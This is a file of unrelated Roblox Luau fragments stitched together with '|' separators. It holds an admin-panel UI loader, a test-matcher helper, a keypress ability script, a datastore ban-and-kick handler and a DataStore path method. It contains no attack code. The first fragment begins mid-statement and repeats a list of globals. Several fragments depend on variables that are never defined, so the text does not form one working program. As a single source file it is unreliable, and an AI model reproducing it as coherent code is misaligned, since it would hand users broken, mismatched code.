NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local UIFolder = client.UIFolder
local script = script
local service = Vargs.Service
local client = Vargs.Client
local GetEnv = env.GetEnv
local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
local CloneTable, TrackTask
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Deps = client.Deps;
CloneTable = service.CloneTable;
TrackTask = service.TrackTask;
UI.Init = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
UI.DefaultTheme = Remote.Get("Setting","DefaultTheme");
UI.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.UI = {
Init = Init;
RunLast = RunLast;
GetHolder = function()
if UI.Holder and UI.Holder.Parent == service.PlayerGui then
return UI.Holder
else
pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
local new = service.New("ScreenGui", {
Name = Functions.GetRandom(),
Parent = service.PlayerGui,
});
UI.Holder = new
return UI.Holder
end
end;
Prepare = function(gui)
if true then return gui end --// Disabled
local gTable = UI.Get(gui,false,true)
if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
local new = Instance.new("TextLabel")
new.BackgroundTransparency = 1
new.Size = UDim2.new(1,0,1,0)
new.Name = gui.Name
new.Active = true
new.Text = ""
for ind,child in gui:GetChildren() do
child.Parent = new
end
if gTable then
gTable:Register(new)
end
gui:Destroy()
return new
else
return gui
end
end;
LoadModule = function(module, data, env)
data = data or {}
local ran, func = pcall(require, module)
local newEnv = GetEnv(env, {
script = module,
client = CloneTable(client),
service = CloneTable(service)
})
if newEnv.service.Threads then
newEnv.service.Threads = CloneTable(service.Threads)
end
for i,v in newEnv.client do
if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
newEnv.client[i] = CloneTable(v)
end
end
if ran then
--// Temporarily disabled NoEnv; it seems to be causing some issues(?)
--// ~ Expertcoderz
--[[if (data.isModifier and not data.modNoEnv) or (not data.isModifier and data.isCode and not data.NoEnv) then
setfenv(func, env)
end]]
local rets = {
TrackTask("UI: ".. module:GetFullName(),
--func,
setfenv(func, newEnv),
data,
newEnv
)
}
if rets[1] then
return unpack(rets, 2)
else
warn("Error while running module", module.Name, rets[2])
client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2]))
end
else
warn("Error while loading module", module.Name, tostring(func))
end
end;
GetNew = function(theme, name)
local foundConfigs = {}
local endConfig = {}
local endConfValues = {}
local confFolder = Instance.new("Folder")
local debounce = false
local function func(theme, name, depth)
local depth = (depth or 11) - 1
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
if folder then
local baseValue = folder:FindFirstChild("Base_Theme")
local baseTheme = baseValue and baseValue.Value
local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)
if foundGUI then
local config = foundGUI:FindFirstChild("Config")
table.insert(foundConfigs, {
Theme = theme;
Folder = folder;
Name = name;
Found = foundGUI;
Config = config;
isModule = foundGUI:IsA("ModuleScript");
})
if config then
baseValue = config:FindFirstChild("BaseTheme") or baseValue
baseTheme = baseValue and baseValue.Value
end
end
if baseTheme and depth > 0 then
if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then
func(UI.DefaultTheme, name, depth)
else
debounce = true
func(baseTheme, name, depth)
end
end
end
end
--// Find GUI and all default versions under it
func(theme, name)
confFolder.Name = "Config"
--// Create the final config for the found GUI.
if #foundConfigs > 0 then
--// Combine all configs found in order to build full config (in order of closest from target gui to furthest)
for i,v in foundConfigs do
if v.Config then
for k,m in v.Config:GetChildren() do
if not endConfig[m.Name] then
if string.sub(m.Name, 1, 5) == "NoEnv" then
endConfig["Code"] = m
end
endConfig[m.Name] = m
end
end
end
end
--// Load all config values into the new Config folder
for i,v in endConfig do
v:Clone().Parent = confFolder;
end
--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
if foundConfigs[1].isModule then
return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder
elseif not endConfig.Code then
warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236")
end
--// Get rid of an old Config folder and throw the new combination Config folder in
local new = foundConfigs[1].Found:Clone()
local oldFolder = new:FindFirstChild'Config'
if oldFolder then oldFolder:Destroy() end
confFolder.Parent = new
return new, foundConfigs[1].Folder, confFolder
end
end;
Make = function(name, data, themeData)
data = data or {}
themeData = themeData or Variables.LastServerTheme or {Desktop = "Default"; Mobile = "Mobilius"}
local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
--// Check for any childs with 'NoEnv' and trigger NoEnv
--// Enforce NoEnv to ensure theme is using it.
if not data.NoEnv and folder:FindFirstChild("NoEnv") then
data.NoEnv = true
data.modNoEnv = true
end
--// folder2
local newGui, _, foundConf = UI.GetNew(theme, name)
if newGui then
local isModule = newGui:IsA("ModuleScript")
local conf = newGui:FindFirstChild("Config")
local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier"))
if mod and not data.modNoEnv then
data.modNoEnv = string.sub(mod.Name, 1, 5) == "NoEnv"
end
if isModule then
return UI.LoadModule(newGui, data, {
script = newGui;
})
elseif conf and foundConf and foundConf ~= true then
local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code")
if not data.NoEnv and code then
data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
end
local mult = foundConf.AllowMultiple
--local keep = foundConf.CanKeepAlive
local allowMult = mult and mult.Value or true
local found, num = UI.Get(name)
if not found or ((num and num>0) and allowMult) then
local gTable,gIndex = UI.Register(newGui)
if folder:IsA("ModuleScript") then
local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" or folder:FindFirstChild("NoEnv")
local newEnv = GetEnv{{
script = folder,
gTable = gTable
}}
local ran, func = pcall(require, folder)
local rets = {
--// NoEnv temporarily disabled ~ Expertcoderz
--[[if folderNoEnv then pcall(func, newGui, gTable, data, newEnv) else]] pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv)
}
local ran, ret = rets[1], rets[2]
if ret ~= nil then
if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code
if not data.NoEnv and code then
data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
end
else
return ret
end
end
end
newGui.Parent = Variables.GUIHolder
newGui.Name = Functions.GetRandom()
data.gIndex = gIndex
data.gTable = gTable
code.Parent = conf
code.Name = name
if mod then
UI.LoadModule(mod, data, {
script = mod;
gTable = gTable;
Data = data;
GUI = newGui;
isModifier = true;
})
end
return UI.LoadModule(code, data, {
script = code;
gTable = gTable;
Data = data;
GUI = newGui;
Theme = theme;
ThemeFolder = folder;
isCode = true;
})
end
end
else
print("GUI", name, "not found")
end
end;
Get = function(obj,ignore,returnOne)
local found = {}
local num = 0
if obj then
for ind,g in client.GUIs do
if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
if type(obj) == "string" then
if g.Name == obj then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "userdata" then
if service.RawEqual(g.Object, obj) then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "boolean" and obj == true then
found[ind] = g
num = num+1
if returnOne then return g end
end
end
end
end
if num<1 then
return false
else
return found,num
end
end;
Remove = function(name, ignore)
local gui = UI.Get(name, ignore)
if gui then
for i,v in gui do
v.Destroy()
end
end
end;
Register = function(gui, data)
local gIndex = Functions.GetRandom()
local gTable;gTable = {
Object = gui,
Config = gui:FindFirstChild'Config';
Name = gui.Name,
Events = {},
Class = gui.ClassName,
Index = gIndex,
Active = true,
Ready = function()
if gTable.Config then gTable.Config.Parent = nil end
local ran,err = pcall(function()
local obj = gTable.Object;
if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
if obj.DisplayOrder == 0 then
obj.DisplayOrder = 90000
end
obj.Enabled = true
obj.Parent = service.PlayerGui
else
obj.Parent = UI.GetHolder()
end
end);
if ran then
gTable.Active = true
else
warn("Something happened while trying to set the parent of", gTable.Name)
warn(err)
gTable:Destroy()
end
end,
BindEvent = function(event, func)
local signal = event:Connect(func)
local origDisc = signal.Disconnect
local Events = gTable.Events
local disc = function()
origDisc(signal)
for i,v in Events do
if v.Signal == signal then
table.remove(Events, i)
end
end
end
table.insert(Events, {
Signal = signal;
Remove = disc
})
return {
Disconnect = disc;
disconnect = disc;
wait = service.CheckProperty(signal, "wait") and signal.wait
}, signal
end,
ClearEvents = function()
for i,v in gTable.Events do
v:Remove()
end
end,
Destroy = function()
pcall(function()
if gTable.CustomDestroy then
gTable.CustomDestroy()
else
service.UnWrap(gTable.Object):Destroy()
end
end)
gTable.Destroyed = true
gTable.Active = false
client.GUIs[gIndex] = nil
gTable.ClearEvents()
end,
UnRegister = function()
client.GUIs[gIndex] = nil
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
end,
Register = function(tab,new)
if not new then new = tab end
new:SetSpecial("Destroy", gTable.Destroy)
gTable.Object = service.Wrap(new)
gTable.Class = new.ClassName
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
if client.GUIs[gIndex] and rawequal(c, gTable.Object) then
if gTable.Class == "TextLabel" and parent == service.PlayerGui then
task.wait()
gTable.Object.Parent = UI.GetHolder()
elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then
gTable:Destroy()
elseif rawequal(c, gTable.Object) and parent ~= nil then
gTable.Active = true
client.GUIs[gIndex] = gTable
end
end
end)
client.GUIs[gIndex] = gTable
end
}
if data then
for i,v in data do
gTable[i] = v
end
end
gui.Name = Functions.GetRandom()
gTable:Register(gui)
return gTable,gIndex
end
}
client.UI.RegisterGui = client.UI.Register
client.UI.GetGui = client.UI.Get
client.UI.PrepareGui = client.UI.Prepare
client.UI.MakeGui = client.UI.Make
end
|
-- ROBLOX deviation: we don't use the Error polyfill because we encounter an error with TestEZ |
function ensureMockOrSpy(
received: any,
matcherName: string,
expectedArgument: string,
options: JestMatcherUtils.MatcherHintOptions
)
if not isMock(received) and not isSpy(received) then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, expectedArgument, options),
("%s value must be a mock or spy function"):format(RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
end
|
-- ANimation |
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then
Debounce = 3
plr.Character.HumanoidRootPart.Anchored = false
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
for i = 1,10 do
wait(0.1)
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
end
wait(0.3)
Track2:Stop()
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
-- Returns a string key to use in order to access a player's data store |
local function getKey(player)
return tostring(player.UserId)
end
local function plural(n)
return n == 1 and "" or "s"
end
local function getTimeString(seconds)
local minutes = math.floor(seconds / 60)
seconds = seconds % 60
local hours = math.floor(minutes / 60)
minutes = minutes % 60
local days = math.floor(hours / 24)
hours = hours % 24
local s
if days > 0 then
s = days .. " day" .. plural(days)
if hours > 0 then
s = s .. ", " .. hours .. " hour" .. plural(hours)
end
elseif hours > 0 then
s = hours .. " hour" .. plural(hours)
if minutes > 0 then
s = s .. ", " .. minutes .. " minute" .. plural(minutes)
end
elseif minutes > 0 then
s = minutes .. " minute" .. plural(minutes)
if seconds > 0 then
s = s .. ", " .. seconds .. " second" .. plural(seconds)
end
else
s = seconds .. " second" .. plural(seconds)
end
return s
end
local function processPayload(player, payload)
local now = os.time()
if payload["status"] == "banned" then
local kickMessage = ""
if type(payload["expires"]) == "number" then
if now >= payload["expires"] then
-- Ban expired
return
end
local seconds = math.max(0, payload["expires"] - now)
-- Double check
if seconds <= 0 then return end
kickMessage = MESSAGE_BAN:gsub("%%TIME%%", getTimeString(seconds))
else
kickMessage = MESSAGE_BAN_NO_EXPIRE
end
if type(payload["reason"]) == "string" then
kickMessage = kickMessage .. REASON:gsub("%%REASON%%", payload["reason"])
end
script.KickingBannedPlayer:Fire(player, payload)
-- Attempt to increment the number of "kicks"
spawn(function ()
pcall(function ()
dsPlayerBans:UpdateAsync(getKey(player), function (oldPayload)
if not oldPayload then return nil end
-- Shallow copy
local newPayload = {}
for k, v in pairs(oldPayload) do newPayload[k] = v end
-- Increment # of kicsk
newPayload["kicks"] = (newPayload["kicks"] or 0) + 1
newPayload["lastKick"] = now
return newPayload
end)
end)
end)
--local Controls = require(player.PlayerScripts:WaitForChild("PlayerModule")):GetControls()---GetControls
--Controls:Disable()
wait(3)
player.PlayerGui.MainUI.Banished.LocalScript.Disabled = false
player.PlayerGui.MainUI.Banished.Banned.Visible = true
end
end
local function onPlayerAdded(player)
local payload
pcall(function () payload = dsPlayerBans:GetAsync(getKey(player)) end)
if type(payload) == "table" then
processPayload(player, payload)
else
-- No bans
end
end
Players.PlayerAdded:connect(onPlayerAdded)
for _, player in pairs(Players:GetPlayers()) do
onPlayerAdded(player)
end
|
--[=[
Returns the full path for the datastore
@return string
]=] |
function DataStore:GetFullPath()
return ("RobloxDataStore@%s"):format(self._key)
end
|